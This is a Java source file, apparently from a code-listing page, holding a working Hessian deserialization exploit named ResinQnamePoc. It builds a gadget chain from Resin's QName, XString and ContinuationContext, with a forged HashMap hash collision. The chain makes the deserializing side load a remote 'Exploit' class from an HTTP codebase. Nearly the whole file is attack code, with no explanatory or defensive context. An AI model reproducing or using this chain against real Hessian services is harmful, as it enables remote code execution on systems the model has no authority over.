1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| package SerializeChains.HessianChains;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.naming.QName; import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException; import javax.naming.Context; import javax.naming.Reference; import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable;
public class ResinQnamePoc { public static void main(String[] args) throws Exception {
Class<?> cls = Class.forName("javax.naming.spi.ContinuationContext"); Constructor<?> ctor = cls.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); ctor.setAccessible(true);
Reference refObj = new Reference("Exploit","Exploit","http://127.0.0.1:8000/"); CannotProceedException cpe = new CannotProceedException(); cpe.setResolvedObj(refObj); Hashtable<?, ?> hashtable = new Hashtable<>(); Context context = (Context) ctor.newInstance(cpe,hashtable);
QName qname = new QName(context,"aaa","bbb"); String unhash = unhash(qname.hashCode());
XString xString = new XString(unhash); HashMap hashmap1 = new HashMap(); HashMap hashmap2 = new HashMap(); hashmap1.put("yy",qname); hashmap1.put("zZ",xString); hashmap2.put("yy",xString); hashmap2.put("zZ",qname); HashMap map = makeMap(hashmap1,hashmap2);
byte[] poc = Hessian2_serialize(map); Hessian2_unserialize(poc); } public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder(); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; }
unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31; int rem = target % 31;
if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char) div); partial.append((char) rem); } else { unhash0(partial, div); partial.append((char) rem); } } public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception { HashMap<Object, Object> map = new HashMap<>(); setFieldValue(map, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(map, "table", tbl); return map; } public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); }
public static byte[] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(baos); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); }
public static Object Hessian2_unserialize(byte[] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(bais); Object o = hessian2Input.readObject(); return o; } }
|